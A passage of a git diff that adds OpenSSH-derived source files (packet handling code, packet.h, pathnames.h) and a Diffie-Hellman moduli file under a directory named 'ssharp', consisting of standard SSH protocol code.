packet len %d", packet_length+4)); + buffer_consume(&input, block_size); + } + /* we have a partial packet of block_size bytes */ + need = 4 + packet_length - block_size; + DBG(debug("partial packet %d, need %d, maclen %d", block_size, + need, maclen)); + if (need % block_size != 0) + fatal("padding error: need %d block %d mod %d", + need, block_size, need % block_size); + /* + * check if the entire packet has been received and + * decrypt into incoming_packet + */ + if (buffer_len(&input) < need + maclen) + return SSH_MSG_NONE; +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll enc/full: "); + buffer_dump(&input); +#endif + buffer_append_space(&incoming_packet, &cp, need); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), need); + buffer_consume(&input, need); + /* + * compute MAC over seqnr and packet, + * increment sequence number for incoming packet + */ + if (mac && mac->enabled) { + macbuf = mac_compute(mac, seqnr, + (u_char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet)); + if (memcmp(macbuf, buffer_ptr(&input), mac->mac_len) != 0) + packet_disconnect("Corrupted MAC on input."); + DBG(debug("MAC #%d ok", seqnr)); + buffer_consume(&input, mac->mac_len); + } + if (++seqnr == 0) + log("incoming seqnr wraps around"); + + /* get padlen */ + cp = buffer_ptr(&incoming_packet) + 4; + padlen = *cp & 0xff; + DBG(debug("input: padlen %d", padlen)); + if (padlen < 4) + packet_disconnect("Corrupted padlen %d on input.", padlen); + + /* skip packet size + padlen, discard padding */ + buffer_consume(&incoming_packet, 4 + 1); + buffer_consume_end(&incoming_packet, padlen); + + DBG(debug("input: len before de-compress %d", buffer_len(&incoming_packet))); + if (comp && comp->enabled) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("input: len after de-compress %d", buffer_len(&incoming_packet))); + } + /* + * get packet type, implies consume. + * return length of payload (without type field) + */ + buffer_get(&incoming_packet, (char *)&buf[0], 1); + *payload_len_ptr = buffer_len(&incoming_packet); + + /* reset for next packet */ + packet_length = 0; + + /* extract packet type */ + type = (u_char)buf[0]; + + if (type == SSH2_MSG_NEWKEYS) + set_newkeys(MODE_IN); + +#ifdef PACKET_DEBUG + fprintf(stderr, "read/plain[%d]:\r\n", type); + buffer_dump(&incoming_packet); +#endif + return (u_char)type; +} + +int +packet_read_poll(int *payload_len_ptr) +{ + char *msg; + for (;;) { + int type = use_ssh2_packet_format ? + packet_read_poll2(payload_len_ptr): + packet_read_poll1(payload_len_ptr); + + if(compat20) { + int reason; + if (type != 0) + DBG(debug("received packet type %d", type)); + switch(type) { + case SSH2_MSG_IGNORE: + break; + case SSH2_MSG_DEBUG: + packet_get_char(); + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + msg = packet_get_string(NULL); + xfree(msg); + break; + case SSH2_MSG_DISCONNECT: + reason = packet_get_int(); + msg = packet_get_string(NULL); + log("Received disconnect from %s: %d: %.400s", get_remote_ipaddr(), + reason, msg); + xfree(msg); + fatal_cleanup(); + break; + default: + return type; + break; + } + } else { + switch(type) { + case SSH_MSG_IGNORE: + break; + case SSH_MSG_DEBUG: + msg = packet_get_string(NULL); + debug("Remote: %.900s", msg); + xfree(msg); + break; + case SSH_MSG_DISCONNECT: + msg = packet_get_string(NULL); + log("Received disconnect from %s: %.400s", get_remote_ipaddr(), + msg); + fatal_cleanup(); + xfree(msg); + break; + default: + if (type != 0) + DBG(debug("received packet type %d", type)); + return type; + break; + } + } + } +} + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ + +void +packet_process_incoming(const char *buf, u_int len) +{ + buffer_append(&input, buf, len); +} + +/* Returns a character from the packet. */ + +u_int +packet_get_char() +{ + char ch; + buffer_get(&incoming_packet, &ch, 1); + return (u_char) ch; +} + +/* Returns an integer from the packet data. */ + +u_int +packet_get_int() +{ + return buffer_get_int(&incoming_packet); +} + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ + +void +packet_get_bignum(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum(&incoming_packet, value); +} + +void +packet_get_bignum2(BIGNUM * value, int *length_ptr) +{ + *length_ptr = buffer_get_bignum2(&incoming_packet, value); +} + +char * +packet_get_raw(int *length_ptr) +{ + int bytes = buffer_len(&incoming_packet); + if (length_ptr != NULL) + *length_ptr = bytes; + return buffer_ptr(&incoming_packet); +} + +int +packet_remaining(void) +{ + return buffer_len(&incoming_packet); +} + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ + +char * +packet_get_string(u_int *length_ptr) +{ + return buffer_get_string(&incoming_packet, length_ptr); +} + +/* + * Sends a diagnostic message from the server to the client. This message + * can be sent at any time (but not while constructing another message). The + * message is printed immediately, but only if the client is being executed + * in verbose mode. These messages are primarily intended to ease debugging + * authentication problems. The length of the formatted message must not + * exceed 1024 bytes. This will automatically call packet_write_wait. + */ + +void +packet_send_debug(const char *fmt,...) +{ + char buf[1024]; + va_list args; + + if (compat20 && (datafellows & SSH_BUG_DEBUG)) + return; + + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + if (compat20) { + packet_start(SSH2_MSG_DEBUG); + packet_put_char(0); /* bool: always display */ + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DEBUG); + packet_put_cstring(buf); + } + packet_send(); + packet_write_wait(); +} + +/* + * Logs the error plus constructs and sends a disconnect packet, closes the + * connection, and exits. This function never returns. The error message + * should not contain a newline. The length of the formatted message must + * not exceed 1024 bytes. + */ + +void +packet_disconnect(const char *fmt,...) +{ + char buf[1024]; + va_list args; + static int disconnecting = 0; + if (disconnecting) /* Guard against recursive invocations. */ + fatal("packet_disconnect called recursively."); + disconnecting = 1; + + /* + * Format the message. Note that the caller must make sure the + * message is of limited size. + */ + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + /* Send the disconnect message to the other side, and wait for it to get sent. */ + if (compat20) { + packet_start(SSH2_MSG_DISCONNECT); + packet_put_int(SSH2_DISCONNECT_PROTOCOL_ERROR); + packet_put_cstring(buf); + packet_put_cstring(""); + } else { + packet_start(SSH_MSG_DISCONNECT); + packet_put_string(buf, strlen(buf)); + } + packet_send(); + packet_write_wait(); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* Close the connection. */ + packet_close(); + + /* Display the error locally and exit. */ + log("Disconnecting: %.100s", buf); + fatal_cleanup(); +} + +/* Checks if there is any buffered output, and tries to write some of the output. */ + +void +packet_write_poll() +{ + int len = buffer_len(&output); + if (len > 0) { + len = write(connection_out, buffer_ptr(&output), len); + if (len <= 0) { + if (errno == EAGAIN) + return; + else + fatal("Write failed: %.100s", strerror(errno)); + } + buffer_consume(&output, len); + } +} + +/* + * Calls packet_write_poll repeatedly until all pending output data has been + * written. + */ + +void +packet_write_wait() +{ + fd_set *setp; + + setp = (fd_set *)xmalloc(howmany(connection_out + 1, NFDBITS) * + sizeof(fd_mask)); + packet_write_poll(); + while (packet_have_data_to_write()) { + memset(setp, 0, howmany(connection_out + 1, NFDBITS) * + sizeof(fd_mask)); + FD_SET(connection_out, setp); + while (select(connection_out + 1, NULL, setp, NULL, NULL) == -1 && + (errno == EAGAIN || errno == EINTR)) + ; + packet_write_poll(); + } + xfree(setp); +} + +/* Returns true if there is buffered data to write to the connection. */ + +int +packet_have_data_to_write() +{ + return buffer_len(&output) != 0; +} + +/* Returns true if there is not too much data to write to the connection. */ + +int +packet_not_very_much_data_to_write() +{ + if (interactive_mode) + return buffer_len(&output) < 16384; + else + return buffer_len(&output) < 128 * 1024; +} + +/* Informs that the current session is interactive. Sets IP flags for that. */ + +void +packet_set_interactive(int interactive) +{ + static int called = 0; +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + int lowdelay = IPTOS_LOWDELAY; + int throughput = IPTOS_THROUGHPUT; +#endif + int on = 1; + + if (called) + return; + called = 1; + + /* Record that we are in interactive mode. */ + interactive_mode = interactive; + + /* Only set socket options if using a socket. */ + if (!packet_connection_is_on_socket()) + return; + /* + * IPTOS_LOWDELAY and IPTOS_THROUGHPUT are IPv4 only + */ + if (interactive) { + /* + * Set IP options for an interactive connection. Use + * IPTOS_LOWDELAY and TCP_NODELAY. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + if (packet_connection_is_ipv4()) { + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, + (void *) &lowdelay, sizeof(lowdelay)) < 0) + error("setsockopt IPTOS_LOWDELAY: %.100s", + strerror(errno)); + } +#endif + if (setsockopt(connection_in, IPPROTO_TCP, TCP_NODELAY, (void *) &on, + sizeof(on)) < 0) + error("setsockopt TCP_NODELAY: %.100s", strerror(errno)); + } else if (packet_connection_is_ipv4()) { + /* + * Set IP options for a non-interactive connection. Use + * IPTOS_THROUGHPUT. + */ +#if defined(IP_TOS) && !defined(IP_TOS_IS_BROKEN) + if (setsockopt(connection_in, IPPROTO_IP, IP_TOS, (void *) &throughput, + sizeof(throughput)) < 0) + error("setsockopt IPTOS_THROUGHPUT: %.100s", strerror(errno)); +#endif + } +} + +/* Returns true if the current connection is interactive. */ + +int +packet_is_interactive() +{ + return interactive_mode; +} + +int +packet_set_maxsize(int s) +{ + static int called = 0; + if (called) { + log("packet_set_maxsize: called twice: old %d new %d", + max_packet_size, s); + return -1; + } + if (s < 4 * 1024 || s > 1024 * 1024) { + log("packet_set_maxsize: bad size %d", s); + return -1; + } + log("packet_set_maxsize: setting to %d", s); + max_packet_size = s; + return s; +} + +/* + * 9.2. Ignored Data Message + * + * byte SSH_MSG_IGNORE + * string data + * + * All implementations MUST understand (and ignore) this message at any + * time (after receiving the protocol version). No implementation is + * required to send them. This message can be used as an additional + * protection measure against advanced traffic analysis techniques. + */ +/* size of current + ignore message should be n*sumlen bytes (w/o mac) */ +void +packet_inject_ignore(int sumlen) +{ + int blocksize, padlen, have, need, nb, mini, nbytes; + Enc *enc = NULL; + + if (use_ssh2_packet_format == 0) + return; + + have = buffer_len(&outgoing_packet); + debug2("packet_inject_ignore: current %d", have); + if (newkeys[MODE_OUT] != NULL) + enc = &newkeys[MODE_OUT]->enc; + blocksize = enc ? enc->cipher->block_size : 8; + padlen = blocksize - (have % blocksize); + if (padlen < 4) + padlen += blocksize; + have += padlen; + have /= blocksize; /* # of blocks for current message */ + + nb = roundup(sumlen, blocksize) / blocksize; /* blocks for both */ + mini = roundup(5+1+4+4, blocksize) / blocksize; /* minsize ignore msg */ + need = nb - (have % nb); /* blocks for ignore */ + if (need <= mini) + need += nb; + nbytes = (need - mini) * blocksize; /* size of ignore payload */ + debug2("packet_inject_ignore: block %d have %d nb %d mini %d need %d", + blocksize, have, nb, mini, need); + + /* enqueue current message and append a ignore message */ + packet_send(); + packet_send_ignore(nbytes); +} + +void +packet_send_ignore(int nbytes) +{ + u_int32_t rand = 0; + int i; + + packet_start(compat20 ? SSH2_MSG_IGNORE : SSH_MSG_IGNORE); + packet_put_int(nbytes); + for(i = 0; i < nbytes; i++) { + if (i % 4 == 0) + rand = arc4random(); + packet_put_char(rand & 0xff); + rand >>= 8; + } +} diff --git a/other/ssharp/packet.h b/other/ssharp/packet.h new file mode 100644 index 0000000..0f5e710 --- /dev/null +++ b/other/ssharp/packet.h @@ -0,0 +1,223 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Interface for the packet protocol functions. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: packet.h,v 1.22 2001/04/14 16:33:20 stevesk Exp $"); */ + +#ifndef PACKET_H +#define PACKET_H + +#include + +/* + * Sets the socket used for communication. Disables encryption until + * packet_set_encryption_key is called. It is permissible that fd_in and + * fd_out are the same descriptor; in that case it is assumed to be a socket. + */ +void packet_set_connection(int fd_in, int fd_out); + +/* Puts the connection file descriptors into non-blocking mode. */ +void packet_set_nonblocking(void); + +/* Returns the file descriptor used for input. */ +int packet_get_connection_in(void); + +/* Returns the file descriptor used for output. */ +int packet_get_connection_out(void); + +/* + * Closes the connection (both descriptors) and clears and frees internal + * data structures. + */ +void packet_close(void); + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. Cipher types are defined in ssh.h. + */ +void +packet_set_encryption_key(const u_char *key, u_int keylen, + int cipher_type); + +/* + * Sets remote side protocol flags for the current connection. This can be + * called at any time. + */ +void packet_set_protocol_flags(u_int flags); + +/* Returns the remote protocol flags set earlier by the above function. */ +u_int packet_get_protocol_flags(void); + +/* Enables compression in both directions starting from the next packet. */ +void packet_start_compression(int level); + +/* + * Informs that the current session is interactive. Sets IP flags for + * optimal performance in interactive use. + */ +void packet_set_interactive(int interactive); + +/* Returns true if the current connection is interactive. */ +int packet_is_interactive(void); + +/* Starts constructing a packet to send. */ +void packet_start(int type); + +/* Appends a character to the packet data. */ +void packet_put_char(int ch); + +/* Appends an integer to the packet data. */ +void packet_put_int(u_int value); + +/* Appends an arbitrary precision integer to packet data. */ +void packet_put_bignum(BIGNUM * value); +void packet_put_bignum2(BIGNUM * value); + +/* Appends a string to packet data. */ +void packet_put_string(const char *buf, u_int len); +void packet_put_cstring(const char *str); +void packet_put_raw(const char *buf, u_int len); + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ +void packet_send(void); + +/* Waits until a packet has been received, and returns its type. */ +int packet_read(int *payload_len_ptr); + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ +void packet_read_expect(int *payload_len_ptr, int type); + +/* + * Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * SSH_MSG_DISCONNECT is handled specially here. Also, SSH_MSG_IGNORE + * messages are skipped by this function and are never returned to higher + * levels. + */ +int packet_read_poll(int *packet_len_ptr); + +/* + * Buffers the given amount of input characters. This is intended to be used + * together with packet_read_poll. + */ +void packet_process_incoming(const char *buf, u_int len); + +/* Returns a character (0-255) from the packet data. */ +u_int packet_get_char(void); + +/* Returns an integer from the packet data. */ +u_int packet_get_int(void); + +/* + * Returns an arbitrary precision integer from the packet data. The integer + * must have been initialized before this call. + */ +void packet_get_bignum(BIGNUM * value, int *length_ptr); +void packet_get_bignum2(BIGNUM * value, int *length_ptr); +char *packet_get_raw(int *length_ptr); + +/* + * Returns a string from the packet data. The string is allocated using + * xmalloc; it is the responsibility of the calling program to free it when + * no longer needed. The length_ptr argument may be NULL, or point to an + * integer into which the length of the string is stored. + */ +char *packet_get_string(u_int *length_ptr); + +/* + * Logs the error in syslog using LOG_INFO, constructs and sends a disconnect + * packet, closes the connection, and exits. This function never returns. + * The error message should not contain a newline. The total length of the + * message must not exceed 1024 bytes. + */ +void packet_disconnect(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* + * Sends a diagnostic message to the other side. This message can be sent at + * any time (but not while constructing another message). The message is + * printed immediately, but only if the client is being executed in verbose + * mode. These messages are primarily intended to ease debugging + * authentication problems. The total length of the message must not exceed + * 1024 bytes. This will automatically call packet_write_wait. If the + * remote side protocol flags do not indicate that it supports SSH_MSG_DEBUG, + * this will do nothing. + */ +void packet_send_debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* Checks if there is any buffered output, and tries to write some of the output. */ +void packet_write_poll(void); + +/* Waits until all pending output data has been written. */ +void packet_write_wait(void); + +/* Returns true if there is buffered data to write to the connection. */ +int packet_have_data_to_write(void); + +/* Returns true if there is not too much data to write to the connection. */ +int packet_not_very_much_data_to_write(void); + +/* maximum packet size, requested by client with SSH_CMSG_MAX_PACKET_SIZE */ +extern int max_packet_size; +int packet_set_maxsize(int s); +#define packet_get_maxsize() max_packet_size + +/* Stores tty modes from the fd or tiop into current packet. */ +void tty_make_modes(int fd, struct termios *tiop); + +/* Parses tty modes for the fd from the current packet. */ +void tty_parse_modes(int fd, int *n_bytes_ptr); + +#define packet_integrity_check(payload_len, expected_len, type) \ +do { \ + int _p = (payload_len), _e = (expected_len); \ + if (_p != _e) { \ + log("Packet integrity error (%d != %d) at %s:%d", \ + _p, _e, __FILE__, __LINE__); \ + packet_disconnect("Packet integrity error. (%d)", (type)); \ + } \ +} while (0) + +#define packet_done() \ +do { \ + int _len = packet_remaining(); \ + if (_len > 0) { \ + log("Packet integrity error (%d bytes remaining) at %s:%d", \ + _len ,__FILE__, __LINE__); \ + packet_disconnect("Packet integrity error."); \ + } \ +} while (0) + +/* remote host is connected via a socket/ipv4 */ +int packet_connection_is_on_socket(void); +int packet_connection_is_ipv4(void); + +/* enable SSH2 packet format */ +void packet_set_ssh2_format(void); + +/* returns remaining payload bytes */ +int packet_remaining(void); + +/* append an ignore message */ +void packet_send_ignore(int nbytes); + +/* add an ignore message and make sure size (current+ignore) = n*sumlen */ +void packet_inject_ignore(int sumlen); + +#endif /* PACKET_H */ diff --git a/other/ssharp/pathnames.h b/other/ssharp/pathnames.h new file mode 100644 index 0000000..2f09820 --- /dev/null +++ b/other/ssharp/pathnames.h @@ -0,0 +1,151 @@ +/* $OpenBSD: pathnames.h,v 1.5 2001/04/12 19:15:24 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#ifndef ETCDIR +#define ETCDIR "/etc" +#endif + +#ifndef _PATH_SSH_PIDDIR +#define _PATH_SSH_PIDDIR "/var/run" +#endif + +/* + * System-wide file containing host keys of known hosts. This file should be + * world-readable. + */ +#define _PATH_SSH_SYSTEM_HOSTFILE ETCDIR "/ssh_known_hosts" +#define _PATH_SSH_SYSTEM_HOSTFILE2 ETCDIR "/ssh_known_hosts2" + +/* + * Of these, ssh_host_key must be readable only by root, whereas ssh_config + * should be world-readable. + */ +#define _PATH_SERVER_CONFIG_FILE ETCDIR "/sshd_config" +#define _PATH_HOST_CONFIG_FILE ETCDIR "/ssh_config" +#define _PATH_HOST_KEY_FILE ETCDIR "/ssh_host_key" +#define _PATH_HOST_DSA_KEY_FILE ETCDIR "/ssh_host_dsa_key" +#define _PATH_HOST_RSA_KEY_FILE ETCDIR "/ssh_host_rsa_key" +#define _PATH_DH_PRIMES ETCDIR "/primes" + +#ifndef _PATH_SSH_PROGRAM +#define _PATH_SSH_PROGRAM "/usr/bin/ssh" +#endif + +/* + * The process id of the daemon listening for connections is saved here to + * make it easier to kill the correct daemon when necessary. + */ +#define _PATH_SSH_DAEMON_PID_FILE _PATH_SSH_PIDDIR "/sshd.pid" + +/* + * The directory in user\'s home directory in which the files reside. The + * directory should be world-readable (though not all files are). + */ +#define _PATH_SSH_USER_DIR ".ssh" + +/* + * Per-user file containing host keys of known hosts. This file need not be + * readable by anyone except the user him/herself, though this does not + * contain anything particularly secret. + */ +#define _PATH_SSH_USER_HOSTFILE "~/.ssh/known_hosts" +#define _PATH_SSH_USER_HOSTFILE2 "~/.ssh/known_hosts2" + +/* + * Name of the default file containing client-side authentication key. This + * file should only be readable by the user him/herself. + */ +#define _PATH_SSH_CLIENT_IDENTITY ".ssh/identity" +#define _PATH_SSH_CLIENT_ID_DSA ".ssh/id_dsa" +#define _PATH_SSH_CLIENT_ID_RSA ".ssh/id_rsa" + +/* + * Configuration file in user\'s home directory. This file need not be + * readable by anyone but the user him/herself, but does not contain anything + * particularly secret. If the user\'s home directory resides on an NFS + * volume where root is mapped to nobody, this may need to be world-readable. + */ +#define _PATH_SSH_USER_CONFFILE ".ssh/config" + +/* + * File containing a list of those rsa keys that permit logging in as this + * user. This file need not be readable by anyone but the user him/herself, + * but does not contain anything particularly secret. If the user\'s home + * directory resides on an NFS volume where root is mapped to nobody, this + * may need to be world-readable. (This file is read by the daemon which is + * running as root.) + */ +#define _PATH_SSH_USER_PERMITTED_KEYS ".ssh/authorized_keys" +#define _PATH_SSH_USER_PERMITTED_KEYS2 ".ssh/authorized_keys2" + +/* + * Per-user and system-wide ssh "rc" files. These files are executed with + * /bin/sh before starting the shell or command if they exist. They will be + * passed "proto cookie" as arguments if X11 forwarding with spoofing is in + * use. xauth will be run if neither of these exists. + */ +#define _PATH_SSH_USER_RC ".ssh/rc" +#define _PATH_SSH_SYSTEM_RC ETCDIR "/sshrc" + +/* + * Ssh-only version of /etc/hosts.equiv. Additionally, the daemon may use + * ~/.rhosts and /etc/hosts.equiv if rhosts authentication is enabled. + */ +#define _PATH_SSH_HOSTS_EQUIV ETCDIR "/shosts.equiv" +#define _PATH_RHOSTS_EQUIV "/etc/hosts.equiv" + +/* + * Default location of askpass + */ +#ifndef _PATH_SSH_ASKPASS_DEFAULT +#define _PATH_SSH_ASKPASS_DEFAULT "/usr/X11R6/bin/ssh-askpass" +#endif + +/* for scp */ +#ifndef _PATH_CP +#define _PATH_CP "cp" +#endif + +/* for sftp */ +#ifndef _PATH_SFTP_SERVER +#define _PATH_SFTP_SERVER "/usr/libexec/sftp-server" +#endif +#ifndef _PATH_LS +#define _PATH_LS "ls" +#endif + +/* path to login program */ +#ifndef LOGIN_PROGRAM +# ifdef LOGIN_PROGRAM_FALLBACK +# define LOGIN_PROGRAM LOGIN_PROGRAM_FALLBACK +# else +# define LOGIN_PROGRAM "/usr/bin/login" +# endif +#endif /* LOGIN_PROGRAM */ + +/* Askpass program define */ +#ifndef ASKPASS_PROGRAM +#define ASKPASS_PROGRAM "/usr/lib/ssh/ssh-askpass" +#endif /* ASKPASS_PROGRAM */ + +/* + * Relevant only when using builtin PRNG. + */ +#ifndef SSH_PRNG_SEED_FILE +# define SSH_PRNG_SEED_FILE _PATH_SSH_USER_DIR"/prng_seed" +#endif /* SSH_PRNG_SEED_FILE */ +#ifndef SSH_PRNG_COMMAND_FILE +# define SSH_PRNG_COMMAND_FILE ETCDIR "/ssh_prng_cmds" +#endif /* SSH_PRNG_COMMAND_FILE */ + diff --git a/other/ssharp/primes b/other/ssharp/primes new file mode 100644 index 0000000..5a3daba --- /dev/null +++ b/other/ssharp/primes @@ -0,0 +1,69 @@ +# Time Type Tests Tries Size Generator Modulus +20000522203501 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc589ab15b +20000522203627 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc58c16733 +20000522203759 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc58ee9dc3 +20000522204003 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc592e0f7b +20000522204023 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc592fbea3 +20000522204041 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5931088b +20000522204128 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59434203 +20000522204251 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5969401b +20000522204314 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc596b4efb +20000522204337 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc596dd953 +20000522204423 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc597da68b +20000522204458 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5984e833 +20000522204530 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc598bb68b +20000522204551 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc598def3b +20000522204727 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59b8d5f3 +20000522204750 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59bbc4fb +20000522204841 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59cfa1fb +20000522205105 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a20812b +20000522205142 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a2c65b3 +20000522205216 2 6 100 1025 2 